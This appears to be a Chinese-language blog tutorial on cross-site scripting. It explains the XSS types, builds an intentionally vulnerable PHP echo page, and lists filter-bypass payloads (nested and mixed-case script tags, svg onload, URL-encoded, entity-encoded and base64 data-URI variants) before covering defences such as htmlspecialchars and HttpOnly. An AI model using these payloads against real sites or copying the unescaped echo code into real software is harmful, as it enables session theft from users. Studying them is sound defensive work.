天天看點

XSS注入原理以及一些繞過姿勢介紹XSS的分類XSS的危害XSS的注入XSS的防禦總結

介紹

XSS——跨站腳本攻擊。通過這個攻擊手段,攻擊者可以将惡意的 JavaScript 代碼插入存在 XSS 漏洞的 Web 頁面中,當使用者浏覽帶有惡意代碼的頁面時,這些惡意代碼會被觸發,進而達到攻擊的目的。可以說,XSS 是針對使用者層面的攻擊。

XSS的分類

通常,我們把 XSS 分為三個類型,即 存儲型,反射型與DOM型。不同的類型原理各有差異,而且注入的點也不同。

存儲型

存儲型的 XSS,最大的特點是可持久化,因為在過濾條件差的情況下,存儲型的 XSS 的惡意代碼會直接被儲存在伺服器端的資料庫中。而這個惡意代碼被伺服器讀出輸出到使用者端的Web頁面時,惡意代碼會執行,進而達到攻擊的目的。可以說存儲型 XSS 是影響範圍最大的 XSS。通常出現在評論、文章發表等可由使用者輸入,并随着伺服器讀出的地方,容易造成蠕蟲,盜竊cookie等嚴重影響。

攻擊流程大概是這樣的:

攻擊者在正常伺服器中注入XSS代碼,且被伺服器儲存在了資料庫中
使用者在網站登入狀态下,通路了惡意伺服器,且浏覽了存在惡意腳本的頁面
正常伺服器将頁面資訊與XSS腳本一同傳回
用戶端解析了頁面資訊與XSS腳本代碼,這時腳本代碼會被執行,甚至會向攻擊者的惡意伺服器主動發起請求
此時,攻擊者就可以從自己的惡意伺服器中讀取使用者資料
           

反射型

非持久化,且需要使用釣魚等手段欺騙使用者點選惡意連結才能觸發惡意代碼。一般反射型 XSS 會出現在搜尋頁面,且大多數是用來擷取使用者的 cookie 資訊的。雖然影響範圍最大的是存儲型的 XSS,但是現在針對存儲型 XSS 的防禦非常完備,是以在利用上,反射型的使用率還是比存儲型高些。

攻擊流程大概是這樣的:

攻擊者發送帶有XSS惡意的腳本連結給客戶(該連結是正常伺服器存在注入點的連結,且帶着我們注入的内容)
客戶點選了惡意連結并通路了正常伺服器
伺服器将XSS與頁面資訊傳回用戶端
用戶端解析後請求惡意伺服器
攻擊者讀取使用者資訊
           

DOM型

DOM 型的 XSS 注入與反射型原理類似,隻不過 DOM 型的 XSS 注入不需要經過後端代碼處理,而是在前端 JavaScript 調用 DOM 元素時可能産生的漏洞,可能觸發 DOM 型 XSS 的 JavaScript 代碼:

document.referer    傳回跳轉或打開到目前頁面的頁面的URI
window.name         可設定或傳回存放視窗的名稱的一個字元串
location            可以設定視窗跳轉或者傳回目前視窗的位址
innerHTML           内嵌HTML代碼
documen.write       頁面内寫入字元
           

綜上存儲型的 XSS 危害最大。因為他存儲在伺服器端,是以不需要我們和被攻擊者有任何接觸,隻要被攻擊者通路了該頁面就會遭受攻擊。而反射型和 DOM 型的 XSS 則需要我們去誘使使用者點選我們構造的惡意的URL,需要我們和使用者有直接或者間接的接觸,比如利用社會工程學或者利用在其他網頁挂馬的方式。

XSS的危害

XSS注入原理以及一些繞過姿勢介紹XSS的分類XSS的危害XSS的注入XSS的防禦總結

XSS的注入

所有能被XSS注入的地方,都有一個共同的特點:存在允許使用者輸入的地方,且未對使用者的輸入進行檢查或者檢查機制不夠完備。這樣就極有可能産生XSS注入。

一般注入手法是先關閉外圍的标簽,再插入我們注入的内容,如

<div>
	user input
</div>
           

可以用

的手法進行注入,此時,代碼就會變成以下這種形式

<div></div>
	<script>[XSS]</script>
<div></div>
           

在頁面加載的時候就會把我們的惡意代碼給加載出來

同理,在注釋标簽以及其他各種HTML的屬性值中也可以進行注入。

XSS的注入與一些繞過

接下來,我們構造一個簡單的 XSS 注入,再看看一些繞過手法。

我們使用 PHPStudy,快速搭建一個Web環境

前端代碼:

<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>XSS測試</title>
</head>
<body>
    <form action="xss.php" method="post">
       你試試:  <input type="text" name="test" /> <br/>
        <input type="submit" value="送出">
    </form>
</body>
</html>
           

後端代碼:

<?php
	$text=$_POST["test"];
	echo $text;
?>
           

效果圖:

XSS注入原理以及一些繞過姿勢介紹XSS的分類XSS的危害XSS的注入XSS的防禦總結

點選送出後會在頁面上打出輸入的文字

XSS注入原理以及一些繞過姿勢介紹XSS的分類XSS的危害XSS的注入XSS的防禦總結

接下來我們嘗試注入,直接輸入

<script>alert('1')</script>

結果如下(在最新版本 chrome 下不成功,估計是直接ban掉了 XSS 的注入,我換到 edge 下成功了)

XSS注入原理以及一些繞過姿勢介紹XSS的分類XSS的危害XSS的注入XSS的防禦總結

接下來我們來分析一下防禦與繞過

一般來說,我們可以通過一些函數将 XSS 的某些關鍵字元過濾,如 preg_replace(),來防止注入。但是攻防是不斷發展的,有防禦,自然就有繞過,下面整理一下一些防禦與繞過的姿勢。

過濾引号 ‘’ 或 “”

<?php
	$text=$_POST["test"];
	if($text!=null){
	$text=preg_replace("/'/","",$text);    //過濾'
	$text=preg_replace("/\"/","",$text);   //過濾"
	echo $text; 
}
?>
           

當引号被過濾時,我們的字元串就無法被輸出了,這時可以用 “/[string]/”來代替,這樣就可以将字元串内容打出來

比如:

<script>alert(/haha/)</script>

繞過前:我們注入的内容無法被輸出

XSS注入原理以及一些繞過姿勢介紹XSS的分類XSS的危害XSS的注入XSS的防禦總結
XSS注入原理以及一些繞過姿勢介紹XSS的分類XSS的危害XSS的注入XSS的防禦總結

繞過後:将想要輸出的字元串列印彈框成功

XSS注入原理以及一些繞過姿勢介紹XSS的分類XSS的危害XSS的注入XSS的防禦總結

過濾script标簽

<?php
	$text=$_POST["test"];
	if($text!=null){
	$text=preg_replace("/<script>/","",$text);    //過濾<script>
	$text=preg_replace("/<\/script>/","",$text);   //過濾</script>
	echo $text;
}
?>
           

當 script 标簽被過濾時,我們的 JavaScript 代碼就無法被解析,但是這種隻是過濾死了 script 小寫形式,我們還是可以用大小寫混淆的方法進行注入。

比如:

<scripT>alert(/haha/)</scripT>

繞過前:我們的 JavaScript 代碼内容被直接輸出了

XSS注入原理以及一些繞過姿勢介紹XSS的分類XSS的危害XSS的注入XSS的防禦總結

繞過後:

XSS注入原理以及一些繞過姿勢介紹XSS的分類XSS的危害XSS的注入XSS的防禦總結

過濾script标簽(不區分大小寫)

<?php
	$text=$_POST["test"];
	if($text!=null){
	$text=preg_replace("/<script>/i","",$text);    //過濾<script>
	$text=preg_replace("/<\/script>/i","",$text);   //過濾</script>
	echo $text;
}
?>
           

加上i之後,過濾範圍變成了不區分大小寫,此時,可以使用嵌套的script标簽進行繞過

比如:

<scr<script>ipt>alert(/haha/)</scr</script>ipt>

繞過前:我們的js代碼内容被直接輸出了

XSS注入原理以及一些繞過姿勢介紹XSS的分類XSS的危害XSS的注入XSS的防禦總結

繞過後:

XSS注入原理以及一些繞過姿勢介紹XSS的分類XSS的危害XSS的注入XSS的防禦總結

過濾script标簽(不區分大小寫,過濾script及其之間的所有内容)

<?php
	$text=$_POST["test"];
	if($text!=null){
	$text=preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $text); //過濾了<script  及其之間的所有内容
	echo $text;
}
?>
           

此處用正則比對的方式過濾了 script 及其之間的所有内容,雖然無法使用 script 标簽注入 XSS 代碼,但是可以通過 img、body 等标簽的事件或者 iframe 等标簽的 src 注入惡意的 JavaScript 代碼。

比如:

<svg onload="alert(1)">

繞過前:

XSS注入原理以及一些繞過姿勢介紹XSS的分類XSS的危害XSS的注入XSS的防禦總結

繞過後:

XSS注入原理以及一些繞過姿勢介紹XSS的分類XSS的危害XSS的注入XSS的防禦總結

伺服器端代碼存在 url 解碼的情況

<?php
	$text=$_POST["test"];
	if($text!=null){
	$text=preg_replace("/</","&lt;",$text);    //将<轉化為html實體
	$text=preg_replace("/>/","&gt;",$text);   //将>轉化為html實體

	$text = urldecode($text);
	echo $text;
}
?>
           

此處将‘<’與‘>’轉化為了html實體,但是由于代碼中存在 url 解碼相關的函數,我們就可以先對’<‘與’>'進行url 編碼,進而繞過實體轉化。

比如:

%3cscript%3ealert(1)%3c/script%3e

繞過前:

XSS注入原理以及一些繞過姿勢介紹XSS的分類XSS的危害XSS的注入XSS的防禦總結

繞過後:

XSS注入原理以及一些繞過姿勢介紹XSS的分類XSS的危害XSS的注入XSS的防禦總結

其他XSS注入标簽

之前的示範中使用的都是

<script>

标簽,但是能利用 XSS 的惡意腳本中可使用的标簽遠遠不止

<script>

标簽。

下面列舉其中某些常見的 XSS 注入方式

真實場景中遇到的 XSS 注入語句遠不止這麼點,這裡不多贅述

使用某些标簽的

on

方法

<body onload="alert('xss')"></body>
<input onfocus="alert('1')" autofocus/>
           

使用html實體編碼繞過變形

<input onfocus="&#97&#108&#101&#114&#116&#40&#39&#49&#39&#41" autofocus/>
           

使用 src 的方式在script标簽中使用 Data URI scheme 直接嵌入文本

<script src="data:text/html,alert('1')"></script>
           

在 iframe 标簽中使用 Data URI scheme 直接嵌入 BASE64 編碼後的文本

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>
           

使用html實體編碼 BASE64 編碼之後的 Data URI scheme

<script src="&#100;&#97;&#116;&#97;&#58;&#116;&#101;&#120;&#116;&#47;&#104;&#116;&#109;&#108;&#59;&#98;&#97;&#115;&#101;&#54;&#52;&#44;&#89;&#87;&#120;&#108;&#99;&#110;&#81;&#111;&#74;&#122;&#69;&#110;&#75;&#81;&#61;&#61;"></script>
<iframe src="&#100;&#97;&#116;&#97;&#58;&#116;&#101;&#120;&#116;&#47;&#104;&#116;&#109;&#108;&#59;&#98;&#97;&#115;&#101;&#54;&#52;&#44;&#80;&#72;&#78;&#106;&#99;&#109;&#108;&#119;&#100;&#68;&#53;&#104;&#98;&#71;&#86;&#121;&#100;&#67;&#103;&#110;&#77;&#83;&#99;&#112;&#80;&#67;&#57;&#122;&#89;&#51;&#74;&#112;&#99;&#72;&#81;&#43;"></iframe>
           

XSS的防禦

對于 XSS,總體的防禦思路大概是:

對使用者的輸入(和URL參數)進行過濾,對輸出進行html編碼。

也就是對使用者送出的所有内容進行過濾,對 url 中的參數進行過濾,過濾掉會導緻腳本執行的相關内容;然後對動态輸出到頁面的内容進行html編碼,使腳本無法在浏覽器中執行。

對輸入的内容進行過濾,可以分為黑名單過濾和白名單過濾。黑名單過濾雖然可以攔截大部分的 XSS 攻擊,但是還是存在被繞過的風險。白名單過濾雖然可以基本杜絕 XSS 攻擊,但是真實環境中一般是不能進行如此嚴格的白名單過濾的。

對輸出進行html編碼,就是通過函數,将使用者的輸入的資料進行html編碼,使其不能作為腳本運作。

在PHP中通常使用** htmlspecialchars 函數對使用者輸入的name參數進行html編碼**,将其轉換為html實體。這個方法可以直接将‘<’,‘>’等與 XSS 有關的内容進行實體化,可以阻擋絕大多數 XSS 的攻擊。

我們還可以服務端設定會話 Cookie 的 HTTP Only 屬性,這樣,用戶端的 JavaScript 腳本就不能擷取 Cookie 資訊了

總結

以上就是我找到的一些繞過技巧。到這裡我想說兩句,針對不同的情況,繞過的手段是不同的,具體情況還是得具體分析。隻要是人寫出來的代碼,總會有一定的漏洞,繞過與修補就是系統安全性不斷提高的一個過程,隻要不斷學習,總會發現代碼中可以被繞過的地方。